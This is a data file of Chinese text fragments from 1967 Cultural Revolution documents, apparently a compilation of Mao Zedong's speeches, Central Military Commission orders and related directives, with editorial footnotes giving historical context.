    {"text": "〔3〕 一九六七年一月二十八日，中央军委发布了《军委八条命令》，全文如下： 根据毛主席的指示，无产阶级文化大革命已进入全面阶级斗争的新阶段，军队必须改变过去不介入地方文化大革命的规定。"},
    {"text": "为了适应两个阶级、两条路线斗争发展的新形势，特规定如下： 一、必须坚决支持真正的无产阶级革命派，争取和团结大多数，坚决反对右派，对那些证据确凿的反革命组织和反革命分子，坚决采取专政措施。"},
    {"text": "不允许用对待敌人的方法来处理人民内部矛盾，不允许无命令自由抓人，不允许任意抄家、封门，不允许体罚和变相体罚，例如：戴高帽、挂黑牌、游街、罚跪，等等。"},
    {"text": "四、一切外出串连的院校师生、文艺团体、体工队、医院和军事工厂的职工等，应迅速返回本地区、本单位进行斗批改，把本单位被一小撮走资本主义道路当权派篡夺的权夺回来，不要逗留在北京和其他地方。"},
    {"text": "八、各级干部，特别是高级干部，要用毛泽东思想严格管教子女，教育他们努力学习毛主席著作，认真与工农相结合，拜工农为师，参加劳动锻炼，改造世界观，争取作无产阶级革命派。"},
    {"text": "以上规定，从公布之日起，立即生效，全体指战员、院校师生、文艺团体、体工队、医院和军事工厂的职工同志，必须严格遵守，违者要受纪律处理。"},
    {"text": "中共中央军事委员会 一九六七年一月二十八日 〔4〕 一月二十三日，中共中央、国务院、中央军委、中央文革小组下发了《中共中央、国务院、中央军委、中央文革小组关于人民解放军坚决支持革命左派群众的决定》全文如下： 各中央局，各大军区，各省、市、自治区党委、人委，并转各级党委、人委、军区、军分区： 在毛主席的领导下，无产阶级文化大革命开始了一个新阶段。"},
    {"text": "人民解放军是毛主席亲手缔造的无产阶级的革命军队，是无产阶级专政最重要的工具。 在这场伟大的无产阶级向资产阶级的夺权斗争中，人民解放军必须坚决站在无产阶级革命派一边，坚决支持和援助无产阶级革命左派。 最近，毛主席指示：人民解放军应该支持左派广大群众。"},
    {"text": "比如，一九六二年一月，我们召开了七千人的县委书记以上干部大会，那个时候我讲了一篇话，我说，修正主义要推翻我们，如果我们现在不注意，不进行斗争，少则几年十几年，多则几十年，中国会要变成法西斯专政的。"},
    {"text": "就是过去我们只抓了一些个别的问题，个别的人物，比如十七年来，就有和高岗、饶漱石 〔2〕 的斗争，他们一个集团，我们把他整下去了，这是一九五三年冬到一九五四年春。"},
    {"text": "过去我们搞了农村的斗争，工厂的斗争，文化界的斗争，进行了社会主义教育运动，但不能解决问题，因为没有找到一种形式，一种方式，公开地、全面地、由下而上地发动广大群众来揭发我们的黑暗面。"},
    {"text": "这场斗争也准备了一个时期，前年十一月，对一个历史学家吴晗发表一篇批判文章 〔4〕 ，这篇文章在北京写不行，不能组织班子，只好到上海找姚文元他们搞了一个班子，写出这篇文章。"},
    {"text": "文章写好了交给我看，说这篇文章只给你一个人看，周恩来、康生这些人也不能看，因为要给他们看，就得给刘少奇、邓小平、彭真、陆定一这些人看，而刘、邓这些人是反对发表这篇文章的。"},
    {"text": "现在的红卫兵当中也有不可靠的，是保皇派，他们白天不活动晚上活动，戴眼镜，戴口罩，手里拿着棍子、刀，到处捣乱，杀了一些好人，杀死了几个人，杀伤了好几百。"},
    {"text": "接着八月上旬到八月中旬就开了中央八届十一中全会，这个时候我自己才写了一张二百个中国字的大字报，说，从中央到地方某些负责人，站在资产阶级的立场上，反对学生，反对无产阶级，搞白色恐怖。"},
    {"text": "第二部分人就是解放以后才进党的一批人，百分之八十是一九四九年以后进党的。 其中有一部分人当了干部，支部书记、党委书记，甚至更高的县委书记、地委书记、省委书记，还有中央委员，这么一批人。"},
    {"text": "过去受压迫，他们少数派很革命，一到了冬季变成多数派， 去年十二月，今年一月有一些就分化了。 有一部分人夏季是革命的，到了冬季就变成反革命的。"},
    {"text": "你们看，北京街上有打倒我的标语，打倒林彪同志的标语。 什么打倒周恩来、康生、陈伯达、江青等等的标语都有。 至于要打倒李富春、谭震林、李先念、陈毅、叶剑英、聂荣臻、肖华的标语就更多一些。"},
    {"text": "但是，有一条真理永远是真理，天不会掉下来的，绝大多数人民，工人、农民、知识分子、干部、党员、团员是好的，我们要坚决相信这条真理。"},
    {"text": "〔1〕 谢胡，时任阿尔巴尼亚部长会议主席，巴卢库，时任阿尔巴尼亚中央政治局委员、副总理兼国防部长，卡博，时任阿尔巴尼亚中央政治局委员、中央书记，什图拉时任阿尔巴尼亚中央委员。"},
    {"text": "〔2〕 一九五三年全国财经工作会议和全国组织工作会议期间及其前后，时任中共中央政治局委员、国家计划委员会主席的高岗，和时任中共中央委员、中央组织部部长的饶漱石相互勾结，阴谋分裂党、篡夺党和国家的最高权力。"},
    {"text": "〔3〕 一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议和八月二日至十六日召开的中共八届八中全会，会议通过的《关于以彭德怀同志为首的反党集团的错误的决议》，揭发和批判了彭德怀、张闻天、黄克诚等同志的错误，他们把一些暂时的、局部的、早已克服了或者正在迅速克服中的缺点收集起来，并且加以极端夸大，把形势描写成为漆黑一团，企图向党要权。"},
    {"text": "〔5〕 一九六六年六月四日，《人民日报》发布了“中共中央决定改组北京市委”，内容如下： 新华社三日讯中共中央决定：由中共中央华北局第一书记李雪峰同志兼任北京市委第一书记，调中共吉林省委第一书记吴德同志任北京市委第二书记，对北京市委进行改组。"},
    {"text": "一九六六年五月二十五日下午二时许，北京大学哲学系聂元梓、宋一秀、夏剑豸、杨克明、赵正义、高云鹏、李醒尘七人，在大饭厅东墙上贴出了题为《宋硕、陆平、彭珮云在文化革命中究竟干些什么？"},
    {"text": "照我看，当一个系主任也不行。 系主任总要有一点学问吧！ 你这个学问还没有学完，大学刚刚毕业，学问还不多，而且没有教书的经验，没有管理一个系的经验。"},
    {"text": "再一个苏联的政权的形式，苏维埃政权一出来，列宁当时很高兴，是工农兵的伟大创造，是无产阶级专政的新形式，但当时他没有想到这种形式，工农兵可以用，资产阶级也能用，赫鲁晓夫也可以用。"},
    {"text": "他一当皇帝就把所有的官职，如现在有人不喜欢那个“长”啊，都统统改了，把全国的县名统统改了，有点象红卫兵把北京街道名称全改了差不多。 他改了后仍不记得，还是记老名子，王莽皇帝下诏书都困难了，改得连县名都不知道了，那么下诏书他就要写上，譬如咸阳是陕西一个县，改成祁酉，诏书里就写上“祁酉即咸阳”，把老名称写在诏书里面，这样，使公文来往非常麻烦。"},
    {"text": "各省、市都叫“人民公社”，这样就发生改变政体、国家体制、国号问题。 是否要改成“中华人民公社”呢？ 中华人民共和国的主席是否改变成中华人民公社的主任或叫社长？"},
    {"text": "不管叫什么，叫共产党也好，叫社会民主党也好，叫社会民主工党也好，叫国民党也好，叫一贯道 〔7〕 也好，它总得有个党，一贯道也是个党。"},
    {"text": "〔1〕 安亭事件，一九六六年十一月九日，以王洪文为首的“上海工人革命造反总司令部”（简称“工总司”）成立，上海市委拒绝承认其合法性，十日，王洪文率领数千人要上北京告状，被市委限令停在上海安亭火车站，于是他们卧轨拦车。"},
    {"text": "十一月九日上海国棉十七厂（王洪文）、三十厂（王秀珍）、三十一厂（黄金海）、上海良工阀门厂（陈阿大）、上海玻璃机械厂（潘国平）、上海合成纤维研究所（叶昌明）等十七家工厂造反组织组成的“工总司”在文化广场召开成立大会。"},
    {"text": "下午张春桥即在工总司“承认组织合法、承认上京告状是革命行动、告状后果由上海市委负责、曹荻秋公开检查、对工总司提供各方面条件”的五项条件上签字，并被印成传单全市散发。"},
    {"text": "先有事实，然后有概念。 没有事实，怎么能形成概念？ 没有实际，哪能有理论？ 有时理论与实际是并行的。 有时理论先行，但是实际总归是第一位的。"},
    {"text": "” 〔2〕 一九六七年二月二十四日，张春桥姚文元在上海“高举毛泽东思想伟大红旗进一步开展三结合夺权斗争誓师大会”上的讲话中传达本段时解释到： 照我们的理解，主席说，这次革命是无产阶级专政下的革命，这就是说我们十七年来的政权是无产阶级专政的政权。"},
    {"text": "就是十七年来，在政治上说，是毛主席的革命路线占了统治地位，不是刘、邓路线占了统治地位。 这十七年来，我们的工作，中华人民共和国成立以来，我们建立了无产阶级政权，这个政权是无产阶级专政的，是实行毛主席的革命路线的。 现在不能说十七年来，我们的政权是资产阶级政权或者是刘、邓路线占统治地位，不能做这样的估计。"},
    {"text": "对于主席这句话，前半段说是无产阶级专政下的革命，对无产阶级专政这一点是肯定的，那末后面这半段又是革命，在无产阶级专政下面怎么要革命呢？"},
    {"text": "毛主席说，那许多问题好解释了，他说，这是因为我们的无产阶级专政机构中间，有一部分被篡夺了，这一部分不是无产阶级的，而是资产阶级的，所以，就要革命！"},
    {"text": "就是因为我们的专政中间有一部分、不是全部是资产阶级的，被篡夺了，被党内走资本主义道路的当权派，有那么一小撮人篡夺了，所以说需要革命。"},
    {"text": "所谓彻底改善，就是说我们的无产阶级专政不行了，要彻底改善嘛。 正确的说法，只能够是部分的改善，这是讲对无产阶级专政下的革命这个问题。"},
    {"text": "为什么要自己发动这一场革命，是因为我们国家已经统一了十七年了，这十七年比较稳定，大家都很满意，觉得中国至少一百多年没有统一，四分五裂，很不稳定；"},
    {"text": "毛主席发动这一场无产阶级文化大革命，正是为了改善无产阶级专政，加强无产阶级专政，使得我们的无产阶级专政更加巩固，能够把修正主义根子挖掉，能够使得我们的祖国——社会主义祖国不变颜色。"},
    {"text": "一月四日，上海造反派夺了《文汇报》的权，五日，又夺了《解放日报》的权，在一月六日又联合召开了“打倒以陈丕显、曹荻秋为首的上海市委大会”，八日，在毛泽东指示下，中央文革小组为中共中央、国务院起草了致上海各“革命造反团体”的贺电，并号召全国学习上海“造反派”的经验。 九日，《人民日报》发表了上海“造反派”的《告上海全市人民书》，并加《编者按》传达了毛泽东的意见。"},
    {"text": "一月十六日，哈尔滨军工学院等二十三个单位的“红色造反者”在哈军工集会，宣布成立“哈尔滨红色造反者联合总部”，并发表夺取省、市党政财文大权的“红色造反者联合接管公告”。"},
    {"text": "同日，首都出版系统造反派向全国出版系统造反派发出紧急呼吁书，其中第一条就是“立即夺取出版毛主席著作的大权，夺取每一个出版阵地”； 新华社二十一日全文播发此呼吁书，《人民日报》二十二日转载时还配发了评论员文章“出版毛主席著作的大权我们掌”。"},
    {"text": "一月三十一日晚中央人民广播电台广播了《红旗》杂志一九六七年第三期社论“论无产阶级革命派的夺权斗争”，这篇社论说：“造反派向走资派夺权“这个革命的大风暴是从上海开始的。"},
    {"text": "〔4〕 一九六七年二月二十四日，张春桥姚文元在上海“高举毛泽东思想伟大红旗进一步开展三结合夺权斗争誓师大会”上的讲话中传达本段时解释到： 在这次谈话时候毛主席反复的讲了“打倒一切”和“怀疑一切”这个问题。 “打倒一切”、“怀疑一切”这个口号相当的普遍相当流行，这是一种无政府主义思想，是反马克思列宁主义的反毛泽东思想的是反动的。 这种思想在我们革命派内部有了影响，这种思想不是我们革命造反派的思想，但是影响了我们，影响了我们一部分同志，因为在这个，这个我们理解呢，说是文化大革命里面看到的那些人哪，那种顽固劲哪，就使人发生了一种错觉，以为到处都是坏人，所以因此呢，当别人宣传打倒一切、怀疑一切的时候，自己也觉得有道理，觉得有道理，其实啊，同志们，这种口号我们只要想一想就根本不能成立，你说打倒一切嘛，那提出这口号的人，他自己就不打倒他自己，他怎么打倒一切呢，他才不打倒一切呢，他还是打倒一部分，说怀疑一切，是他真的怀疑一切吗？"},
    {"text": "他也不怀疑他自己，他不怀疑他，这个口号对不对，那么应该首先怀疑怀疑我这个“怀疑一切”，对不对啊，他也不怀疑的，实际上他也是怀疑一部分。"},
    {"text": "世界上没有那样的事是“打倒一切”、“怀疑一切”的，只能是这个阶级，两个阶级对垒，无产阶级打倒资产阶级，资产阶级打倒无产阶级，那能那么打倒一切呀，资产阶级打倒资产阶级呀，那是他们内部发生了矛盾，这一种口号啊，今天阻碍着我们的大联合，特别阻碍我们的三结合，如果这个问题不能够坐下来真正解决，三结合是搞不起来的，那么你看到的这个人也要怀疑，那个人也要怀疑，这个人要打倒，那个人也要打倒，那你还有什么三结合呢？ 这些打倒一切的人，怀疑一切的人，最后势必被人家怀疑，被人家打倒，一定是走到反面，这一点毛主席说得非常确切，他说：“一定走向反面，一定被人家打倒，干不了几天。"},
    {"text": "” 〔5〕 一九六七年二月二十四日，张春桥姚文元在上海“高举毛泽东思想伟大红旗进一步开展三结合夺权斗争誓师大会”上的讲话中传达本段时解释到： 就是中央气象局有一个单位，那个单位啊，到我们这里讲。"},
    {"text": "说我们一到上海就碰到一个问题，我们一和哪一个造反派谈话，我们问，你们那个造反派怎么样啊，他说我们那个造反派很好，一个科长都没有，（笑声）就表示他这个组织最纯洁啦，我们一说这些话主席就说啦，说：“我们这还有一个单位呀连付科长也不要”。 那个单位三十多个付科长，也不是个很大的单位，一个都不要，明明的有很多同志是很好的，也不要，这个都不作阶级分析呀，而是根据职务，从担任的职务，那一级职务以上，这那里是阶级呢？ 阶级，有无产阶级、资产阶级，当权派有无产阶级当权派，有资产阶级当权派，科长，有赞成毛主席，拥护毛主席跟着毛主席走的，也有反对毛主席的，应该是这样分嘛。"},
    {"text": "一九六七年二月二十四日，张春桥姚文元在上海“高举毛泽东思想伟大红旗进一步开展三结合夺权斗争誓师大会”上的讲话中传达本段时解释到： 我在主席那里谈到，我们说，一个大学生啊，还刚刚毕业，有的还没有毕业，就要管一个上海市是很难的，主席他就说，我看当个大学校长也不行！"},
    {"text": "后来，主席甚至于讲，他说，我看呀，当个系主任也不行！ 当个系主任总要有点学问吧！ 那么，你这学生，专业还没有学完，或大学刚刚毕业，学问还不多，而且没有教书的经验，没有管理一个系的经验，他说要搞个系主任那恐怕也是不行的，我们也已经培养了一些助教、讲师及一些原来的领导的干部，所以都要这些人出来。"},
    {"text": "主席又说：“青年同志很有希望”，在这次文化大革命中，他们做了很大贡献，但是现在马上来接这些班子，接省委书记、市委书记，这个班还有些困难，这有个过程，还得学习。 “三结合”呢，我的理解，也是帮助青年同志学习的一种方式，过去，我们不是老是考虑怎么样培养接班人吗？"},
    {"text": "不能够单单强调这一方面，因为我现在讲的是三结合问题，所以就不能不说到三结合的必要性，不能不说到青年工人同志，我们的学生同志，在现马上接这个班还是很困难。"},
    {"text": "我们两个人没什么，但是因为我们两个是参加中央文革小组工作的，就这么一点身分我们参加了工作，这么一点就使得有些人要反对人民公社，不能不考虑一下。"},
    {"text": "那这样子，这样一个临时的权力机关它就可以形成，是一个有威信的、有权威的，可以来领导上海的文化大革命的，这个机构，现在是有权威的，在将来会更加有权威，会更加有力量。"},
    {"text": "（掌声、口号）以上这一些，这是我们讲的第二点，就是要实行三结合，三结合是主席跟我们反复讲的一个问题，先讲了要在无产阶级专政下的革命，要搞这个革命就要大联合，大联合最好的形式三结合，我们现在的问题就是全面地贯彻执行毛主席的这个指示，我们现在应该在市一级扩大这个三结合，同时在以后，各个夺权单位，需要夺权的地方，在进行夺权的时候，我们都要实行三结合。"},
    {"text": "〔7〕 一贯道，在中国现代史上，一贯道是组织最严密、流传最广、信徒最多、活动最猖獗、危害最严重的一个反动会道门组织，一九五〇年被取缔。"},
    {"text": "批评“二月逆流”<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 批评“二月逆流” 〔1〕 * （一九六七年二月十八日） 我听说二月十六日下午有人在怀仁堂闹事，反对中央文革小组。"},
    {"text": "你们说江青、陈伯达不行，那就把文革小组改组，让谭震林当组长，陈毅、徐向前当副组长，余秋里 〔2〕 、薄一波 〔3〕 当组员，再不行，把王明、张国焘都请回来。"},
    {"text": "中组部组织三百多群众，要求去中南海向毛主席、党中央送交决心书，表示彻底揭发批判刘邓，陶铸却说：“组织部几百人去中南海喊打倒刘少奇，贴他的大字报，这种做法我不赞成。 ”十一月初，看到批判刘邓的大字报，陶铸对群众说：“不能把刘少奇同志叫作敌人，不能喊打倒。"},
    {"text": "群众起来了，他又跳到极左，在群众面前大叫大喊：“在文化大革命中，怀疑一切是正确的”，“每个司令部都不知道是什么司令部……我是主张普遍轰！"},
    {"text": "” 陶铸在被打倒以后，曾和他的老婆曾志谈起他和刘少奇的关系：“一九四二年我在军委工作期间，刘从华中回到延安，彼此才认识，我对他印象不错。"},
    {"text": "尤其我们作为一个党员，对党的忠诚等于旧社会一个女人嫁了人一样，一定要‘从一而终’，决不可‘移情别恋’，否则便不能称为‘贞节’之妇。"},
    {"text": "姚文元在《评陶铸的两本书》里揭露批判陶铸是一个赫鲁晓夫式的野心家，“从政治上、文化上到生活上，他的‘理想’都是在中国搞资本主义复辟。"},
    {"text": "并说什么“各地都有一帮右派在造反，他们哄抢档案，查抄文件，冲击军事机关……”叫嚷：“对那些敢于向无产阶级专政宣战的反革命分子，要坚决镇压，决不手软……”徐向前说：“这回我们派上用场了。"},
    {"text": "”谭震林对陈毅说：“陈老总，咱们可不能只是发发牢骚就算了，底下的群众斗不赢他们，我们上头得斗垮他们呀，不然，他们更是无法无天了。"},
    {"text": "”“林彪同志国庆讲话（指一九六六年经过毛主席亲自批阅的国庆讲话）也有问题，什么叫‘反对革命的路线’，这就把矛头指向了广大干部……”李先念说：“现在可以说全国范围内都在大搞逼供信。"},
    {"text": "〔2〕 余秋里是二月逆流中的两帮凶之一，二月逆流中的“三老四帅两帮凶”，三老指李富春、谭震林、李先念，四帅指陈毅、徐向前、叶剑英、聂荣臻，两个帮凶是指余秋里和谷牧。"},
    {"text": "〔3〕 一九六七年三月十六日，中共中央发布了《关于薄一波、刘澜涛、安子文、杨献珍等人自首叛变问题的初步调查》，认定一九三六年在北平草岚子监狱出狱的薄一波等人为“六十一人叛徒集团案”。"},
    {"text": "刘格平（静火注：刘格平一直到一九四四年才出狱，文革时任山西省革命委员会主任）、张良云（静火注：张良云后来出狱后在抗日战争中牺牲了）同志坚决反对，拒绝执行，表现了共产党人崇高的革命气节。"},
    {"text": "一九六七年二月十八日，张闻天写给南开大学抓叛徒战斗队的交待材料： “2、事实真相：……刘少奇初去北方局（一九三六年春）不久，就给我一封关于如何解决白区工作干部问题的信……。"},
    {"text": "他说，现在北平监狱中有一批干部，过去表现好，据监狱内部传出消息，管理监狱的人自知日子不长，准备逃走，也想及早处理这批犯人，所以只要履行一个反共不发表的简单手续，犯人即可出狱……。"},
    {"text": "这样，我不但违反了党章，党纪的规定，损害了党的组织的纯洁性，玷污了我们共产党人永不变节，忠贞不屈的光荣传统，而且也给刘少奇招降纳叛的干部政策打开了方便之门。 我在这个问题上犯了严重的反党罪行，而且也成了刘少奇的帮凶。"},
    {"text": "” 曾在白区工作过的中共中央政治局候补委员李雪峰一九八九年受访时曾表示：“比如六十一人的《反共启事》，和叛徒出卖了组织和同志，带领敌人去抓我们的同志这样的叛徒还是有区别的吧。"},
    {"text": "我在战争年代里处理叛变革命的人，是要区别两种情况的：一是经不起敌人的严刑拷打而写了自首书，但是没有出卖组织，没有杀人； 二是经不起敌人的利诱和拷打，出卖泄露了党的机密后，又用同志的鲜血来换得了自己的生命或者也被敌人处死，这样的人是坚决要镇压的。"},
    {"text": "” 静火有言：通过这样一种特殊手续把大批干部尽快救出去似乎无可厚非，但另一方面，多少同志宁肯死在监狱也绝不背叛自己的信仰发表什么《反共启事》，如江姐等，即使是在同一个监狱，刘格平张良云等同志也拒绝发表《反共启事》，又坐了八年牢，从这点上说，指示一部分同志发表《反共启事》对不起牺牲的同志，也对不起自己的信仰。"},
    {"text": "论革命的“三结合” 论革命的“三结合” * （一九六七年三月、四月、十月） （一）一九六七年三月七日——论革命的“三结合” 〔1〕 在需要夺权的那些地方和单位，必须实行革命的“三结合”的方针，建立一个革命的、有代表性的、有无产阶级权威的临时权力机构。这个权力机构的名称，叫革命委员会好。 从上至下，凡要夺权的单位，都要有军队代表或民兵代表参加，组成“三结合”，不论工厂、农村、财贸、文教（大、中、小学）、党政机关及民众团体都要这样做。县以上都派军队代表，公社以下都派民兵代表，这是非常之好的。军队代表不足，可以暂缺，将来再派。 （二）一九六七年三月二十日——关于“三相信、三依靠”的指示 〔2〕 这是一个很好的报告。 一、依靠群众。这一条是主要的。我们都是从群众中来的嘛！群众就是工、农、兵、学、商。中央办公厅所属机关的干部都是群众嘛！工作主要是群众作的，靠少数领导人是不行的，也是不够的。哪一样也不能离开群众，要有群众观点。 二、依靠军队。我们的军队不仅会打仗，而且会做群众工作、宣传工作、生产工作等。军队内的很多干部，从小参加军队，很少读书，文化是在部队慢慢提高的，思想比较单纯。军队与地方不同，没有地权，没有财权，说走就走了。省里有地盘，军队没有地盘。军队还有一条，组织性纪律性强，动作快。如沈阳军区的支左、支工、支农经验，中央批转以后，全军二十一天内就行动起来了。如果是地方，传来传去，动作很慢。 三、要依靠干部。干部绝大多数是好的。很多事要让干部去办，政策靠他们去执行。有些省委书记要赶快解放出来，要他们好好检讨。有的省过去犯了错误，就是因为他们害怕群众，动员一些人去“保护”他们，结果害了自己。 （三）一九六七年五一前后——关于干部问题的指示 〔3〕 一、我们这些干部是经过长期锻炼的，还是要有些人站出来。现在的情况是：站出来就打。我们的事情总是要有人挂帅的。红卫兵能挂帅吗？今天上台，明天就会被打倒，原因是政治上不成熟。现在我们要做很多工作，使那些主要干部站出来，哪怕是黎元洪 〔4〕 式的人物也是好的，出来两年也好。红卫兵不行，没有经过锻炼，这样大的事情，信不过他们。 二、要依靠干部，干部绝大多数是好的，很多事是要让干部去办，政策靠他们去执行。有些省委书记要赶快解放出来，要让他们好好检讨。有的省委书记过去犯了错误，就是因为他们害怕群众，动员一些人去“保护”他们，结果害了自己。 三、对于犯有错误的干部，要正确对待，不能一概打倒。只要不是反党反社会主义分子而又坚持不改和累教不改的，就要允许他们改过，鼓励他们将功赎罪。惩前毖后，治病救人，这是党的传统政策。只有这样才能使犯错误的本人心悦诚服，也才能使无产阶级革命派取得大多数人的衷心拥护，使自己立于不败之地，否则是很危险的。 要爱护干部，要支持革命领导干部出来，革命小将现在叫他们挂帅还不行，有个培养的过程，但小将是可爱的，是无产阶级革命事业的接班人。 我们现在要搞三结合，要使青年参加各方面的领导工作。不要看不起青年人，二十几岁，三十几岁都可以接受他们作事情，不把新一代搞上来怎么使他们受到锻炼？这个三结合就是老、中、小，就是二十岁以上就行了。 我们提倡青年人上台，有人说青年人没有经验，上台就有经验了。过去也提培养无产阶级革命事业接班人，那是从形式上讲的，现在要落实在组织上。 三结合，老、中、小要三结合，不主张把老干部都打倒，老干部一天天见上帝了。 全国应该有更多的第一把手站出来。 （四）（一九六七年十月十七日） 〔5〕 各工厂、各学校、各部门、各企业单位，都必须在革命原则下，按照系统，按照行业，按照班级，实现革命的大联合，以利于促进革命三结合的建立，以利于大批判和各单位斗、批、改的进行，以利于抓革命、促生产、促工作、促战备。 （五）（一九六七年十二月十八日） 〔6〕 这次文化大革命是一个“大审干”，用群众性方法审查干部。有可能要冤枉一部分好人，但横竖不杀，搞错了将来平反。 注 释 * ？？？ 〔1〕 这是毛泽东在一九六起年三月七日《论革命的“三结合”》一文中所写的两段话（一九六七年第五期《红旗》杂志社论）。 〔2〕 这是毛泽东在听了“林彪三月二十日在军级以上干部会议上的讲话”后的指示。 〔3〕 这是毛泽东在一九六七年四月二十九日至五月一日的中央常委、中央文革小组和政治局会议上的讲话节录。 〔4〕 黎元洪，一九一一年，武昌起义爆发，黎元洪被革命党人强迫推举为湖北都督。 〔5〕 中共中央、国务院、中央军委、中央文革于一九六七年十月十七日发出了《关于按照系统实行革命大联合的通知》，毛泽东起草了本段。 〔6〕 这是毛泽东在一九六七年十二月十八日会见以谢·佩奇为首的阿中友协代表团谈话节录。"},
    {"text": "关于两条路线斗争的基本问题 关于两条路线斗争 的基本问题 * （一九六七年三月） 我们党内两条路线斗争，基本问题是在无产阶级夺取政权之以后，即新民主主义革命胜利以后，中国究竟走资本主义道路，还是走社会主义道路的问题。资产阶级要走资本主义道路，这是很明显的。在我们共产党内部，我们要走社会主义道路；但有一部分人却认为中国是个很穷困的国家，中国资本主义发展水平很低，不能发展社会主义，必须在一段时间内走资产阶级道路，然后再走社会主义道路。 走什么道路问题，解放初期有这个问题，现在仍然有这个问题。苏联搞了五十多年，仍是这个问题。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。"},
    {"text": "还是各帝国主义国家跑到中国这块地方来侵略中国、压迫和剥削中国人民，因而激起中国人民群众奋起反抗帝国主义及其在中国的走狗、贪官、污吏？"},
    {"text": "——评反动影片〈清宫秘史〉》一文第五次稿报送毛泽东审阅时写道：“这是去年看了《清宫秘史》影片以后写的，最近改了一下，送呈主席一阅。"},
    {"text": "一九六七年四月一日，《人民日报》发表了这篇文章，全文一万五千字，要点如下： 毛主席严正指出：《清宫秘史》是一部卖国主义的影片，应该进行批判。"},
    {"text": "但是，反革命修正主义分子陆定一、周扬和当时的中央宣传部常务副部长胡乔木等，以及背后支持他们的党内最大的走资本主义道路的当权派，却顽固地坚持资产阶级反动立场，公然对抗毛主席的指示，说这部反动影片是“爱国主义”的，拒绝对这部影片进行批判。"},
    {"text": "党内最大的走资本主义道路的当权派，在解放以后仍旧日夜梦想着资本主义的复辟，死抱着资产阶级的世界观不放，无限向往资产阶级改良主义，极力想使中国革命半途而废，大力发展资本主义。"},
    {"text": "就在反动影片《清宫秘史》在全国放映的前后，他到处游说，大做黑报告，滥发黑指示，极力颂扬资本主义制度的所谓“进步”和“光荣”，鼓吹“剥削无罪”，“造反无理”的谬论。"},
    {"text": "与此同时，他还积极鼓吹发展农村的资本主义经济，大肆叫嚷“长期保护富农经济”，提倡“四大自由”（即放高利贷自由、雇工自由、土地买卖自由、经营自由）。"},
    {"text": "党内最大的走资本主义道路的当权派为人吃人的资本主义剥削制度所唱的颂歌，就连资产阶级的御用学者、形形色色的新老修正主义的辩护士们，也都望尘莫及。"},
    {"text": "难道竟有这样疯狂进行资本主义复辟活动的“老革命”？ 难道竟有这样猖狂反对我们的伟大领袖毛主席，猖狂反对伟大的毛泽东思想的“老革命”？"},
    {"text": "如果真是“老革命”，那么，请问： 为什么你要在抗日战争爆发前夕，大肆宣扬活命哲学、投降哲学、叛徒哲学，指使别人自首变节，要他们投降国民党，叛变共产党，公开发表“反共启事”、宣誓“坚决反共”？"},
    {"text": "为什么你要在一九六二年还重新出版过去那种不要革命，不要阶级斗争，不要夺取政权，不要无产阶级专政，反对马克思列宁主义，反对毛泽东思想，宣扬腐朽的资产阶级世界观，宣扬反动的资产阶级唯心主义哲学的、欺人之谈的大毒草《论修养》？"},
    {"text": "为什么你要在社会主义教育运动中提出和推行形“左”实右的机会主义路线，破坏社会主义教育运动？ 为什么你要在无产阶级文化大革命中，勾结另一个党内最大的走资本主义道路的当权派，提出和推行资产阶级反动路线？"},
    {"text": "中央军委关于支左工作十条命令 中央军委 关于支左工作十条命令 * （一九六七年四月六日） 一、对群众组织，无论是革命的，或者被反动分子控制的，或者情况不清楚的，都不准开枪，只能进行政治工作。 二、不准随意捕人，更不准大批捕人。对于确实查明的反革命分子要逮捕。但必须证据确凿，经过批准手续。 三、不准任意把群众组织宣布为反动组织，加以取缔。更不准把革命组织宣布为反革命组织。对于犯有某些错误的群众组织，要积极进行帮助教育。对于确实查明被反动分子控制的群众组织要作分化争取工作，孤立其最坏的头头，争取被蒙蔽的群众。必须公开宣布其为反动组织加以取缔的，要经过中央批准。 四、对于过去冲击军事机关的群众，无论左、中、右，概不追究。只对业已查明特别坏的右派头头，要追究。但应尽量缩小打击面，不能仅仅根据是否冲击军事机关这一点来划分左、中、右。 五、对待较大的群众组织采取什么态度，应就地深入调查研究，进行阶级分析；采取重大行动前，应向中央文革和全军文革请示报告。 六、一概不要进行群众性的“请罪”运动。也不要强迫群众写检讨。群众写的检讨书，退还其本人。有些长期不觉悟并且坚持错误观点的群众，不要急于要他们认错，而要给以时间，让他们在斗争中自己教育自己。不允许体罚和变相体罚。例如：戴高帽、挂黑牌、游街、罚跪等等。 七、在军队中要深入进行以毛主席为代表的无产阶级革命路线同资产阶级反动路线的两条路线斗争的教育。学习毛主席著作，必须结合两条路线的斗争。广泛搜集节录反动路线和一小撮党内走资本主义道路当权派的各种具体材料，印发到连队进行教育，使广大指战员了解他们的反动本质，进行彻底批判，肃清其恶劣影响。 八、对派到地方去或主持支左的干部，要详细交代政策。要防止赵永夫式的的反革命分子（赵永夫〔1）原青海军区副司令员、是一个混进党内军内的反革命分子、他玩弄阴谋手段、篡夺军权、对革命群众组织进行残酷的武装镇压〕或思想很右的人主持支左工作。 九、在支左工作中，要学会做群众工作，相信群众、依靠群众，有事同群众商量，善于采取说服教育的方式，而不应采取简单粗暴和命令方式。 十、对业已违反了上述诸条件作法的，都要立即改正，积极进行善后处理。今后，坚决按以上各条办事。 这个命令，要在我军所有机关，连队内部用电报电话迅速传达，广泛张贴。 中共中央军事委员会 一九六七年四月六日 注 释 * 这是毛泽东同志审定的中央军委命令。 〔1〕 赵永夫，制造了一九六七年“二·二三”惨案。当时，赵永夫作为西宁驻军“联办”领导小组副组长，将青海省革命造反组织“八·一八红卫战斗队”定为反革命组织予以取缔，确定了“敌人开枪，我还击”的原则，于二月二十三日调动武装部队夺占“八·一八”掌权的青海日报社，导致部队开枪的严重事件。"},
    {"text": "接见阿尔巴尼亚军事代表团时的谈话 接见阿尔巴尼亚 军事代表团时的谈话 * （一九六七年五月一日） 我在一九六二年七千人大会 〔1〕 上曾经讲过：“马列主义与修正主义的斗争，胜负还没有分晓，很可能修正主义胜利，我们失败。"},
    {"text": "实际上共产党内的两个阶级、两条路线的斗争，始终是存在着的，任何人否认都否认不了，我们是唯物主义者，我们当然不应该去否认它。 自这次大会以后，两条路线、两个阶级在我们党内的斗争表现是形“左”实右与反形“左”实右，反对阶级斗争存在与强调阶级斗争存在，折中主义与突出无产阶级政治等等。"},
    {"text": "最后文章写好了，我看了三遍，认为基本可以，让江青同志拿回去发表。 我建议再让一些中央领导同志看一下，但江青同志建议：“文章就这样发表的好，我看不用叫恩来同志、康生同志看了。"},
